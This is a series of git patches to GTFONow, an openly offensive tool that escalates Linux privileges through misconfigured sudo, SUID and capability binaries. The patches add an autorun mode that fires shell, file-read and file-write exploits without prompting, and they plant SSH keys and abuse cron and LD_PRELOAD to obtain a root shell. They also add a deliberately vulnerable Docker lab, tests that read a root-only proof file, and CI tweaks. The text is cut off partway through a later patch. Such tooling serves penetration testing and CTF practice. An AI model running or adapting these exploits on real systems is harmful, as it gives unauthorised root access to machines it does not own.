From 1bad320650b5d6c6b7041b090add30cfd5a86a9f Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 14:19:18 +0000 Subject: [PATCH 01/16] feat: Order payloads by exploitability and impact --- gtfonow/gtfonow.py | 82 +++++++++++++++++++++++++++++++--------------- 1 file changed, 55 insertions(+), 27 deletions(-) diff --git a/gtfonow/gtfonow.py b/gtfonow/gtfonow.py index 49ed879..b1cc8db 100644 --- a/gtfonow/gtfonow.py +++ b/gtfonow/gtfonow.py @@ -3271,7 +3271,7 @@ def set_level(self, level): class CustomFormatter(logging.Formatter): def format(self, record): if record.levelno == logging.INFO: - record.msg = LIGHTGREY + "[*] " + RESET + str(record.msg) + record.msg = GREEN + "[+] " + RESET + str(record.msg) elif record.levelno == logging.ERROR: record.msg = RED + "[x] " + RESET + str(record.msg) elif record.levelno == logging.WARNING: @@ -3389,7 +3389,6 @@ def exploit(binary, payload, exploit_type, risk, binary_path=None, user="root", binary_path (str, optional): Path to binary.. Defaults to None. user (str, optional): User to exploit. Defaults to "root". """ - payload = payload["code"] if exploit_type == SUDO_NO_PASSWD and user != "root": payload = payload.replace("sudo", "sudo -u " + user) @@ -3477,11 +3476,27 @@ def check_sudo_binaries(sudo_l_output): "Payloads": payloads, "Type": "Sudo (Needs Password)" } - priv_escs.append(priv_esc) + priv_escs = priv_escs + expand_payloads(priv_esc) + # priv_escs.append(priv_esc) return priv_escs +def expand_payloads(priv_esc): + """Given a priv esc entry, expand into multiple payloads.""" + + priv_escs = [] + + for payload in priv_esc["Payloads"]: + priv_esc_copy = priv_esc.copy() + priv_esc_copy["Payload"] = payload["code"] + priv_esc_copy["Payload Description"] = payload.get("description") + priv_esc_copy["Payload Type"] = payload_type(payload["code"]) + del priv_esc_copy["Payloads"] + priv_escs.append(priv_esc_copy) + return priv_escs + + def check_sudo_nopasswd_binaries(sudo_l_output): """Checks for privilege escalations via NOPASSWD binaries in sudo -l output. @@ -3512,7 +3527,7 @@ def check_sudo_nopasswd_binaries(sudo_l_output): } log.warning("Found exploitable %s binary: %s", SUDO_NO_PASSWD, binary_path) - priv_escs.append(priv_esc) + priv_escs = priv_escs + expand_payloads(priv_esc) return priv_escs @@ -3534,7 +3549,7 @@ def check_suid_bins(): Returns: list: A list of potential privilege escalations. """ - potential_privesc = [] + priv_escs = [] for binary, payloads in suid_bins.items(): binary_path = get_binary_path(binary) if not binary_path: @@ -3553,11 +3568,12 @@ def check_suid_bins(): "SUID": file_properties.get("Owner") if is_suid else None, "SGID": file_properties.get("Group") if is_sgid else None } - potential_privesc.append(priv_esc) + priv_escs = priv_escs + expand_payloads(priv_esc) + log.warning("Found exploitable %s binary: %s", "suid" if is_suid else "sgid", binary_path) - return potential_privesc + return priv_escs def check_capability(binary_path, capability): @@ -4017,7 +4033,8 @@ def display_privilege_escalation_options(priv_escs): logging.warning("No privilege escalations found.") sys.exit(1) - print("\nExploitable Binaries") + log.warning("Found %d Exploitable Binaries", len(priv_escs)) + for key, value in enumerate(priv_escs): print_formatted_priv_esc_option(key, value) @@ -4025,20 +4042,35 @@ def display_privilege_escalation_options(priv_escs): def print_formatted_priv_esc_option(key, value): info = format_priv_esc_info(value) - # Initialize payload_options - payload_options = [] + print(GREEN+"["+str(key)+"] " + RESET + value['Binary'] + + GREEN + " " + value["Payload Type"] + RESET) + print(" Path: " + value["Path"]) + print(" Info: " + info) + if value.get("Payload Description"): + print(" Payload Description: " + value["Payload Description"]) - # Populate payload_options, ensuring no duplicates - for payload in value["Payloads"]: - payload_desc = payload_type(payload["code"]) - if payload_desc not in payload_options: - payload_options.append(payload_desc) - payload_types = ", ".join(payload_options) +def order_priv_escs(priv_esc): + """Order privilege escalations by exploitability, ease and impact.""" - print(GREEN+"["+str(key)+"] " + RESET + value['Binary']) - print(" Path: " + value["Path"] + "\n Type: " + - value["Type"] + "\n Info: " + info + "\n Payloads: " + payload_types) + user = priv_esc.get("SudoUser") or priv_esc.get("SUID") + if user == "root" or priv_esc["Type"] == "Capability": + user_priority = 0 + else: + user_priority = 1 + + if priv_esc["Payload Type"] == "Shell": + payload_priority = 0 + elif priv_esc["Payload Type"] == "Arbitrary read": + payload_priority = 1 + elif priv_esc["Payload Type"] == "Arbitrary write": + payload_priority = 2 + elif priv_esc["Payload Type"] == "File Permission Change": + payload_priority = 3 + else: + payload_priority = 4 + + return (user_priority, payload_priority) def format_priv_esc_info(priv_esc): @@ -4072,18 +4104,12 @@ def format_priv_esc_info(priv_esc): def execute_payload(priv_esc, risk, command=None): - print("Payload Options") - for key, payload in enumerate(priv_esc["Payloads"]): - print(GREEN + "[" + str(key) + "] " + - RESET + priv_esc["Binary"] + GREEN + " " + payload_type(payload["code"]).lower() + RESET + " " + str(payload.get("description", ""))) - - choice = get_user_choice("Choose payload: ") user = priv_esc.get("SudoUser") or priv_esc.get("Owner") if user: - exploit(priv_esc["Binary"], priv_esc["Payloads"][choice], priv_esc["Type"], risk, + exploit(priv_esc["Binary"], priv_esc["Payload"], priv_esc["Type"], risk, binary_path=priv_esc["Path"], user=user, command=command) else: - exploit(priv_esc["Binary"], priv_esc["Payloads"][choice], priv_esc["Type"], risk, + exploit(priv_esc["Binary"], priv_esc["Payload"], priv_esc["Type"], risk, binary_path=priv_esc["Path"], command=command) @@ -4098,6 +4124,8 @@ def main(): args) priv_escs = sudo_privescs + suid_privescs + cap_privescs + priv_escs = sorted(priv_escs, key=order_priv_escs) + display_privilege_escalation_options(priv_escs) choice = get_user_choice("Choose method to GTFO: ") From d29b742c1e0480014c8baefa627de1f7e472b0b3 Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 16:12:41 +0000 Subject: [PATCH 02/16] feat: Add autorun mode (-a), for interactionless execution --- gtfonow/gtfonow.py | 101 +++++++++++++++++++++++++++++++-------------- 1 file changed, 71 insertions(+), 30 deletions(-) diff --git a/gtfonow/gtfonow.py b/gtfonow/gtfonow.py index b1cc8db..dc622ef 100644 --- a/gtfonow/gtfonow.py +++ b/gtfonow/gtfonow.py @@ -3249,6 +3249,7 @@ LIGHTGREY = '\033[37m' RESET = '\033[0m' YELLOW = '\033[0;33m' +BOLD = '\033[1m' class CustomLogger(logging.Logger): @@ -3318,7 +3319,7 @@ def execute_command(command): return None, "OS error occurred: " + str(e) -def arbitrary_file_read(binary, payload, user="root", command=None): +def arbitrary_file_read(binary, payload, auto, user="root", command=None): """Exploit arbitrary file read vulnerability. Args: @@ -3329,13 +3330,26 @@ def arbitrary_file_read(binary, payload, user="root", command=None): if is_service_running("ssh"): ssh_key_privesc(payload, user) + if auto: + return print("Enter the file that you wish to read. (eg: /etc/shadow)") file_to_read = input("> ") payload = payload.replace("file_to_read", file_to_read) os.system(payload) -def arbitrary_file_write(binary, payload, risk, user="root", command=None): +def get_arb_write_options(user): + options = [] + if is_service_running("ssh"): + options.append(("ssh", "Obtain shell by writing SSH key")) + if user == "root" and is_service_running("cron"): + options.append(("cron", "Obtain shell by writing to Cron")) + options.append(("ld_preload", "Obtain shell by writing to LD_PRELOAD")) + options.append(("arbitrary", "Arbitrary file Write (no shell)")) + return options + + +def arbitrary_file_write(binary, payload, risk, auto, user="root", command=None): """Exploit arbitrary file write. Args: @@ -3344,17 +3358,14 @@ def arbitrary_file_write(binary, payload, risk, user="root", command=None): user (str): User to exploit. """ log.info("Performing arbitrary file write with %s", binary) - options = [] - if risk == 2: - if is_service_running("ssh"): - options.append(("ssh", "Obtain shell by writing SSH key")) - if user == "root" and is_service_running("cron"): - options.append(("cron", "Obtain shell by writing to Cron")) - options.append(("ld_preload", "Obtain shell by writing to LD_PRELOAD")) - options.append(("arbitrary", "Arbitrary file Write (no shell)")) + if risk == 1: + manual_arbitrary_file_write(payload) + return + if risk == 2 and not auto: + options = get_arb_write_options(user) print("\nSelect an exploit option:") - for idx, (option_code, description) in enumerate(options): - print(GREEN + "[" + str(idx) + "] " + RESET + description) + for index, (_, description) in enumerate(options): + print(GREEN + "[" + str(index) + "] " + RESET + description) choice = get_user_choice("> ") chosen_option = options[choice][0] if chosen_option == "ssh": @@ -3365,8 +3376,15 @@ def arbitrary_file_write(binary, payload, risk, user="root", command=None): ld_preload_exploit(binary, payload, command) elif chosen_option == "arbitrary": manual_arbitrary_file_write(payload) - else: - manual_arbitrary_file_write(payload) + if risk == 2 and auto: + options = get_arb_write_options(user) + for option in options: + if option[0] == "ssh": + ssh_write_privesc(payload, user, command) + if option[0] == "ld_preload": + ld_preload_exploit(binary, payload, command) + if option[0] == "cron": + cron_priv_esc(payload, command) def manual_arbitrary_file_write(payload): @@ -3380,7 +3398,18 @@ def manual_arbitrary_file_write(payload): os.system(payload) -def exploit(binary, payload, exploit_type, risk, binary_path=None, user="root", command=None): +def spawn_shell(payload): + """Spawn shell, if exits with return code 0, we assume exploit worked and this is a user controlled exit.""" + if sys.version_info[0] < 3: + res = subprocess.call(payload, shell=True) + else: + res = subprocess.run(payload, shell=True) + if res.returncode == 0: + print("Thanks for using GTFONow!") + sys.exit() + + +def exploit(binary, payload, exploit_type, risk, auto, binary_path=None, user="root", command=None): """Exploit a binary. Args: @@ -3397,15 +3426,15 @@ def exploit(binary, payload, exploit_type, risk, binary_path=None, user="root", else: payload = payload.replace("./"+binary, binary) if "file_to_read" in payload: - arbitrary_file_read(binary, payload, user, command) + arbitrary_file_read(binary, payload, auto, user, command) elif "file_to_write" in payload: - arbitrary_file_write(binary, payload, risk, user, command) + arbitrary_file_write(binary, payload, risk, auto, user, command) else: if command: execute_privileged_command(payload, command) else: log.info("Spawning %s shell", user) - os.system(payload) + spawn_shell(payload) def execute_privileged_command(payload, command): @@ -3515,6 +3544,7 @@ def check_sudo_nopasswd_binaries(sudo_l_output): for binary_path in binaries: binary = binary_path.split('/')[-1] if binary not in sudo_bins.keys(): + log.info("Found NOPASSWD binary %s, but no known exploit.", binary) continue payloads = sudo_bins.get(binary) @@ -3645,7 +3675,7 @@ def cron_priv_esc(payload, command=None): if command: execute_privileged_command(payload, command) else: - os.system("/bin/bash -p") + spawn_shell("/bin/bash -p") break time.sleep(1) count = count + 1 @@ -3700,7 +3730,7 @@ def ld_preload_exploit(binary, payload, command=None): if command: execute_privileged_command("/bin/bash -p", command) else: - os.system("/bin/bash -p") + spawn_shell("/bin/bash -p") def check_cap_bins(): @@ -3802,7 +3832,7 @@ def ssh_write_privesc(payload, user="root", command=None): if command: execute_privileged_command(shell_payload, command) else: - os.system(shell_payload) + spawn_shell(shell_payload) def ssh_key_privesc(payload, user="root", command=None): @@ -3835,7 +3865,7 @@ def ssh_key_privesc(payload, user="root", command=None): if command: execute_privileged_command(shell_payload, command) else: - os.system(shell_payload) + spawn_shell(shell_payload) def payload_type(payload): @@ -3992,6 +4022,8 @@ def parse_arguments(): "--command", help="Rather than spawn an interactive shell, issue a single command. Mainly for debugging purposes only.") parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output.') + parser.add_argument("-a", "--auto", action="store_true", + help="Auto exploit without prompting for user input.") return parser.parse_args() @@ -4033,7 +4065,7 @@ def display_privilege_escalation_options(priv_escs): logging.warning("No privilege escalations found.") sys.exit(1) - log.warning("Found %d Exploitable Binaries", len(priv_escs)) + print("\nExploits available:") for key, value in enumerate(priv_escs): print_formatted_priv_esc_option(key, value) @@ -4041,13 +4073,12 @@ def display_privilege_escalation_options(priv_escs): def print_formatted_priv_esc_option(key, value): info = format_priv_esc_info(value) - print(GREEN+"["+str(key)+"] " + RESET + value['Binary'] + GREEN + " " + value["Payload Type"] + RESET) print(" Path: " + value["Path"]) print(" Info: " + info) if value.get("Payload Description"): - print(" Payload Description: " + value["Payload Description"]) + print(" Description: " + value["Payload Description"]) def order_priv_escs(priv_esc): @@ -4103,13 +4134,13 @@ def format_priv_esc_info(priv_esc): return info -def execute_payload(priv_esc, risk, command=None): +def execute_payload(priv_esc, risk, auto, command=None): user = priv_esc.get("SudoUser") or priv_esc.get("Owner") if user: - exploit(priv_esc["Binary"], priv_esc["Payload"], priv_esc["Type"], risk, + exploit(priv_esc["Binary"], priv_esc["Payload"], priv_esc["Type"], risk, auto, binary_path=priv_esc["Path"], user=user, command=command) else: - exploit(priv_esc["Binary"], priv_esc["Payload"], priv_esc["Type"], risk, + exploit(priv_esc["Binary"], priv_esc["Payload"], priv_esc["Type"], risk, auto, binary_path=priv_esc["Path"], command=command) @@ -4125,12 +4156,22 @@ def main(): priv_escs = sudo_privescs + suid_privescs + cap_privescs priv_escs = sorted(priv_escs, key=order_priv_escs) - + if args.auto and args.risk == 1: + priv_escs = [item for item in priv_escs if item["Payload Type"] in [ + "Shell", "Arbitrary read"]] + + for priv_esc in priv_escs: + execute_payload(priv_esc, args.risk, args.auto, args.command) + if args.auto and args.risk == 2: + priv_escs = [item for item in priv_escs if item["Payload Type"] in [ + "Shell", "Arbitrary read", "Arbitrary write"]] + for priv_esc in priv_escs: + execute_payload(priv_esc, args.risk, args.auto, args.command) display_privilege_escalation_options(priv_escs) choice = get_user_choice("Choose method to GTFO: ") selected_priv_esc = priv_escs[choice] - execute_payload(selected_priv_esc, args.risk, args.command) + execute_payload(selected_priv_esc, args.risk, args.auto, args.command) if __name__ == "__main__": From d4e7ebaa97ee8063e51c1310da44440779575d9b Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 19:51:40 +0000 Subject: [PATCH 03/16] feat: Add autorun mode for single command mode --- Dockerfile | 4 ++- gtfonow/gtfonow.py | 18 +++++++------ gtfonow/tests/test_privesc.py | 49 +++++++++++++++++++++++++++++++---- 3 files changed, 57 insertions(+), 14 deletions(-) diff --git a/Dockerfile b/Dockerfile index 1048c5b..f80b1a4 100644 --- a/Dockerfile +++ b/Dockerfile @@ -26,7 +26,9 @@ RUN chmod u+s $(which rbash) RUN useradd -ms /bin/bash lowpriv RUN useradd -ms /bin/bash higherpriv - +RUN ssh-keygen -N '' -f /root/.ssh/id_rsa +RUN cp /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys +RUN echo "ONLY_ROOT_CAN_READ_THIS" > /root/proof.txt RUN echo "lowpriv ALL=(ALL) NOPASSWD: /usr/bin/head" >> /etc/sudoers RUN echo "lowpriv ALL=(higherpriv) NOPASSWD: /usr/bin/vim" >> /etc/sudoers diff --git a/gtfonow/gtfonow.py b/gtfonow/gtfonow.py index dc622ef..0f4dfc3 100644 --- a/gtfonow/gtfonow.py +++ b/gtfonow/gtfonow.py @@ -3329,7 +3329,7 @@ def arbitrary_file_read(binary, payload, auto, user="root", command=None): log.info("Performing arbitrary file read with %s", binary) if is_service_running("ssh"): - ssh_key_privesc(payload, user) + ssh_key_privesc(payload, user, command) if auto: return print("Enter the file that you wish to read. (eg: /etc/shadow)") @@ -3438,15 +3438,18 @@ def exploit(binary, payload, exploit_type, risk, auto, binary_path=None, user=" def execute_privileged_command(payload, command): + log.debug("Executing %s", payload) process = subprocess.Popen( payload, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True) process.stdin.write(command + '\n') - out, err = process.communicate() if out: - print('Output:', out) + print(out) + if process.returncode == 0: + print("Thanks for using GTFONow!") + sys.exit() if err: - print('Error:', err) + log.error(err) def get_sudo_l_output(): @@ -3505,8 +3508,7 @@ def check_sudo_binaries(sudo_l_output): "Payloads": payloads, "Type": "Sudo (Needs Password)" } - priv_escs = priv_escs + expand_payloads(priv_esc) - # priv_escs.append(priv_esc) + priv_escs = priv_escs + expand_payloads(priv_esc) return priv_escs @@ -3816,7 +3818,7 @@ def ssh_write_privesc(payload, user="root", command=None): home_dir = "/root" else: home_dir = "/home/"+user - log.info("Attempting to escalate using root's SSH key") + log.info("Writing SSH key to %s", home_dir+"/.ssh/authorized_keys") execute_command("ssh-keygen -N '' -f /tmp/gtfokey") with open("/tmp/gtfokey.pub", "r") as f: @@ -3849,7 +3851,7 @@ def ssh_key_privesc(payload, user="root", command=None): home_dir = "/root" else: home_dir = "/home/"+user - log.info("Attempting to escalate using root's SSH key") + log.info("Checking for SSH keys in %s", home_dir+"/.ssh/") for key in key_names: path = home_dir+"/.ssh/"+key diff --git a/gtfonow/tests/test_privesc.py b/gtfonow/tests/test_privesc.py index 52b3be2..5da4046 100644 --- a/gtfonow/tests/test_privesc.py +++ b/gtfonow/tests/test_privesc.py @@ -1,17 +1,24 @@ +import sys +import pytest from gtfonow.gtfonow import * +from unittest.mock import patch, MagicMock def test_check_suid_bins(): expected = { "Binary": "find", "Path": "/usr/bin/find", - "Payloads": suid_bins["find"], + "Payload": suid_bins["find"][0]["code"], + "Payload Description": suid_bins["find"][0].get("description"), "Type": "SUID/SGID Binary", "SUID": "root", - "SGID": None + "SGID": None, + "Payload Type": "Shell" + } res = check_suid_bins() + print(res) assert expected in res @@ -20,11 +27,43 @@ def test_check_sudo_nopasswd_binaries(): print(sudo_l_output) res = check_sudo_nopasswd_binaries(sudo_l_output) expected = { + "SudoUser": "root", "Binary": "head", "Path": "/usr/bin/head", - "Payloads": sudo_bins["head"], - "SudoUser": "root", - "Type": "Sudo NOPASSWD" + "Payload": sudo_bins["head"][0]["code"], + "Payload Description": sudo_bins["head"][0].get("description"), + "Type": "Sudo NOPASSWD", + "Payload Type": "Arbitrary read" } + print(res) assert expected in res + + +PROOF_COMMAND = "cat /root/proof.txt" +test_cases = [ + ('head', sudo_bins["head"][0]["code"], SUDO_NO_PASSWD, + 2, True, '/usr/bin/head', PROOF_COMMAND), + ('find', suid_bins["find"][0]["code"], SUID_SGID, + 2, True, '/usr/bin/find', PROOF_COMMAND), + ('dd', suid_bins["dd"][0]["code"], SUID_SGID, + 2, True, '/usr/bin/dd', PROOF_COMMAND), + ('tee', suid_bins["tee"][0]["code"], SUID_SGID, + 2, True, '/usr/bin/tee', PROOF_COMMAND), + # ('cp', suid_bins["cp"][0]["code"], SUID_SGID, + # 2, True, '/usr/bin/cp', PROOF_COMMAND), + # ('mv', suid_bins["mv"][0]["code"], SUID_SGID, + # 2, True, '/usr/bin/mv', PROOF_COMMAND), +] + + +@pytest.mark.parametrize("binary, payload, exploit_type, risk, auto, binary_path, command", test_cases) +def test_exploit(capsys, binary, payload, exploit_type, risk, auto, binary_path, command): + sys.exit = MagicMock() + sys.exit.return_value = 0 + exploit(binary, payload, exploit_type, risk, auto, + binary_path=binary_path, command=command) + captured = capsys.readouterr() + print(captured.out) + print(captured.err) + assert "ONLY_ROOT_CAN_READ_THIS" in captured.out From f834c2ea5cda1908c032e4dcb5c5e91b62df29b0 Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 20:10:22 +0000 Subject: [PATCH 04/16] Test: debugging workflows --- .github/workflows/docker-pytest.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/docker-pytest.yml b/.github/workflows/docker-pytest.yml index 29c6655..d20f32a 100644 --- a/.github/workflows/docker-pytest.yml +++ b/.github/workflows/docker-pytest.yml @@ -28,7 +28,7 @@ jobs: docker run --name gtfonow_test_${{ matrix.python-version }} -d gtfonow_test:${{ matrix.python-version }} - name: Run Pytest - run: docker exec gtfonow_test_${{ matrix.python-version }} su -l lowpriv -c "pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing" + run: sleep 5; docker exec gtfonow_test_${{ matrix.python-version }} su -l lowpriv -c "pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing" - name: Copy coverage report from Docker container to host run: docker cp gtfonow_test_${{ matrix.python-version }}:/home/lowpriv/coverage.xml . From 00327fcb8358acd196b07fa79e3dc0e0dba9208e Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 20:16:50 +0000 Subject: [PATCH 05/16] Test: debugging workflows --- .github/workflows/docker-pytest.yml | 2 +- gtfonow/tests/test_privesc.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/workflows/docker-pytest.yml b/.github/workflows/docker-pytest.yml index d20f32a..29c6655 100644 --- a/.github/workflows/docker-pytest.yml +++ b/.github/workflows/docker-pytest.yml @@ -28,7 +28,7 @@ jobs: docker run --name gtfonow_test_${{ matrix.python-version }} -d gtfonow_test:${{ matrix.python-version }} - name: Run Pytest - run: sleep 5; docker exec gtfonow_test_${{ matrix.python-version }} su -l lowpriv -c "pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing" + run: docker exec gtfonow_test_${{ matrix.python-version }} su -l lowpriv -c "pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing" - name: Copy coverage report from Docker container to host run: docker cp gtfonow_test_${{ matrix.python-version }}:/home/lowpriv/coverage.xml . diff --git a/gtfonow/tests/test_privesc.py b/gtfonow/tests/test_privesc.py index 5da4046..c78a95a 100644 --- a/gtfonow/tests/test_privesc.py +++ b/gtfonow/tests/test_privesc.py @@ -3,6 +3,8 @@ from gtfonow.gtfonow import * from unittest.mock import patch, MagicMock +log.set_level(logging.DEBUG) + def test_check_suid_bins(): expected = { From 7288f8bc934cd67794e99f9d423625636a283e0d Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 20:24:51 +0000 Subject: [PATCH 06/16] Test: debugging workflows --- gtfonow/gtfonow.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/gtfonow/gtfonow.py b/gtfonow/gtfonow.py index 0f4dfc3..d46fc31 100644 --- a/gtfonow/gtfonow.py +++ b/gtfonow/gtfonow.py @@ -3904,7 +3904,9 @@ def get_binary_path(binary_name): for path in os.environ["PATH"].split(os.pathsep): full_path = os.path.join(path, binary_name) if os.path.isfile(full_path) and os.access(full_path, os.X_OK): + log.debug("Found %s at %s", binary_name, full_path) return full_path + log.debug("Could not find %s in PATH", binary_name) return None From 6be5df73fa35c61f8259f46b35bf0ce7f0aa3f3a Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 20:39:39 +0000 Subject: [PATCH 07/16] Test: debugging workflows --- .github/workflows/docker-pytest.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/docker-pytest.yml b/.github/workflows/docker-pytest.yml index 29c6655..805b2fa 100644 --- a/.github/workflows/docker-pytest.yml +++ b/.github/workflows/docker-pytest.yml @@ -28,7 +28,7 @@ jobs: docker run --name gtfonow_test_${{ matrix.python-version }} -d gtfonow_test:${{ matrix.python-version }} - name: Run Pytest - run: docker exec gtfonow_test_${{ matrix.python-version }} su -l lowpriv -c "pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing" + run: docker exec -u lowpriv gtfonow_test_${{ matrix.python-version }} pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing - name: Copy coverage report from Docker container to host run: docker cp gtfonow_test_${{ matrix.python-version }}:/home/lowpriv/coverage.xml . From 027ef182f4e5208758dc7b6c878e07c44c269cea Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 20:46:52 +0000 Subject: [PATCH 08/16] Test: debugging workflows --- .github/workflows/docker-pytest.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/docker-pytest.yml b/.github/workflows/docker-pytest.yml index 805b2fa..3d658d9 100644 --- a/.github/workflows/docker-pytest.yml +++ b/.github/workflows/docker-pytest.yml @@ -28,7 +28,7 @@ jobs: docker run --name gtfonow_test_${{ matrix.python-version }} -d gtfonow_test:${{ matrix.python-version }} - name: Run Pytest - run: docker exec -u lowpriv gtfonow_test_${{ matrix.python-version }} pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing + run: docker exec -u lowpriv gtfonow_test_${{ matrix.python-version }} bash -c "pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing" - name: Copy coverage report from Docker container to host run: docker cp gtfonow_test_${{ matrix.python-version }}:/home/lowpriv/coverage.xml . From 84f5c22d0980abc72797a7d8b1b81b4a9be23d15 Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 20:49:07 +0000 Subject: [PATCH 09/16] Test: debugging workflows --- .github/workflows/docker-pytest.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/docker-pytest.yml b/.github/workflows/docker-pytest.yml index 3d658d9..b8d8416 100644 --- a/.github/workflows/docker-pytest.yml +++ b/.github/workflows/docker-pytest.yml @@ -28,7 +28,7 @@ jobs: docker run --name gtfonow_test_${{ matrix.python-version }} -d gtfonow_test:${{ matrix.python-version }} - name: Run Pytest - run: docker exec -u lowpriv gtfonow_test_${{ matrix.python-version }} bash -c "pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing" + run: docker exec -u lowpriv -t gtfonow_test_${{ matrix.python-version }} pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing - name: Copy coverage report from Docker container to host run: docker cp gtfonow_test_${{ matrix.python-version }}:/home/lowpriv/coverage.xml . From 1ed29369cd8cb270d184d549753d507234b52e27 Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 20:55:17 +0000 Subject: [PATCH 10/16] Test: debugging workflows --- .github/workflows/docker-pytest.yml | 2 +- gtfonow/tests/test_privesc.py | 7 +++++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/.github/workflows/docker-pytest.yml b/.github/workflows/docker-pytest.yml index b8d8416..805b2fa 100644 --- a/.github/workflows/docker-pytest.yml +++ b/.github/workflows/docker-pytest.yml @@ -28,7 +28,7 @@ jobs: docker run --name gtfonow_test_${{ matrix.python-version }} -d gtfonow_test:${{ matrix.python-version }} - name: Run Pytest - run: docker exec -u lowpriv -t gtfonow_test_${{ matrix.python-version }} pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing + run: docker exec -u lowpriv gtfonow_test_${{ matrix.python-version }} pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing - name: Copy coverage report from Docker container to host run: docker cp gtfonow_test_${{ matrix.python-version }}:/home/lowpriv/coverage.xml . diff --git a/gtfonow/tests/test_privesc.py b/gtfonow/tests/test_privesc.py index c78a95a..0944ad4 100644 --- a/gtfonow/tests/test_privesc.py +++ b/gtfonow/tests/test_privesc.py @@ -1,5 +1,6 @@ import sys import pytest +import os from gtfonow.gtfonow import * from unittest.mock import patch, MagicMock @@ -7,6 +8,8 @@ def test_check_suid_bins(): + log.debug(os.getenv('PATH')) + expected = { "Binary": "find", "Path": "/usr/bin/find", @@ -25,6 +28,8 @@ def test_check_suid_bins(): def test_check_sudo_nopasswd_binaries(): + log.debug(os.getenv('PATH')) + sudo_l_output = get_sudo_l_output() print(sudo_l_output) res = check_sudo_nopasswd_binaries(sudo_l_output) @@ -61,6 +66,8 @@ def test_check_sudo_nopasswd_binaries(): @pytest.mark.parametrize("binary, payload, exploit_type, risk, auto, binary_path, command", test_cases) def test_exploit(capsys, binary, payload, exploit_type, risk, auto, binary_path, command): + log.debug(os.getenv('PATH')) + sys.exit = MagicMock() sys.exit.return_value = 0 exploit(binary, payload, exploit_type, risk, auto, From 43826e466e78370c11f52323b962391e963717a8 Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 21:01:06 +0000 Subject: [PATCH 11/16] Test: debugging workflows --- .github/workflows/docker-pytest.yml | 3 ++- supervisord.conf | 8 +------- 2 files changed, 3 insertions(+), 8 deletions(-) diff --git a/.github/workflows/docker-pytest.yml b/.github/workflows/docker-pytest.yml index 805b2fa..43adcf4 100644 --- a/.github/workflows/docker-pytest.yml +++ b/.github/workflows/docker-pytest.yml @@ -26,7 +26,8 @@ jobs: - name: Run tests run: | docker run --name gtfonow_test_${{ matrix.python-version }} -d gtfonow_test:${{ matrix.python-version }} - + - name: Wait + run: sleep 15 - name: Run Pytest run: docker exec -u lowpriv gtfonow_test_${{ matrix.python-version }} pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing - name: Copy coverage report from Docker container to host diff --git a/supervisord.conf b/supervisord.conf index 810326a..8209018 100644 --- a/supervisord.conf +++ b/supervisord.conf @@ -7,10 +7,4 @@ command=/usr/sbin/cron -f -L 15 [program:sshd] user=root -command=/usr/sbin/sshd -D - - -[program:myapp] -command=bash # Replace with your main process command -user=lowpriv - +command=/usr/sbin/sshd -D \ No newline at end of file From 602d64486ac7eea58ca14a36cb1ee456257cd1ff Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 21:04:47 +0000 Subject: [PATCH 12/16] fix: Python 2 compatibility issue --- gtfonow/gtfonow.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/gtfonow/gtfonow.py b/gtfonow/gtfonow.py index d46fc31..9d9d48d 100644 --- a/gtfonow/gtfonow.py +++ b/gtfonow/gtfonow.py @@ -3440,7 +3440,7 @@ def exploit(binary, payload, exploit_type, risk, auto, binary_path=None, user=" def execute_privileged_command(payload, command): log.debug("Executing %s", payload) process = subprocess.Popen( - payload, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True) + payload, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) process.stdin.write(command + '\n') out, err = process.communicate() if out: From 0977b12a71f8184e754aa6d914c3be629eb21c49 Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 21:09:04 +0000 Subject: [PATCH 13/16] Test: debugging workflows --- gtfonow/gtfonow.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/gtfonow/gtfonow.py b/gtfonow/gtfonow.py index 9d9d48d..c33ad3b 100644 --- a/gtfonow/gtfonow.py +++ b/gtfonow/gtfonow.py @@ -3441,7 +3441,8 @@ def execute_privileged_command(payload, command): log.debug("Executing %s", payload) process = subprocess.Popen( payload, stdin=subprocess.PIPE, 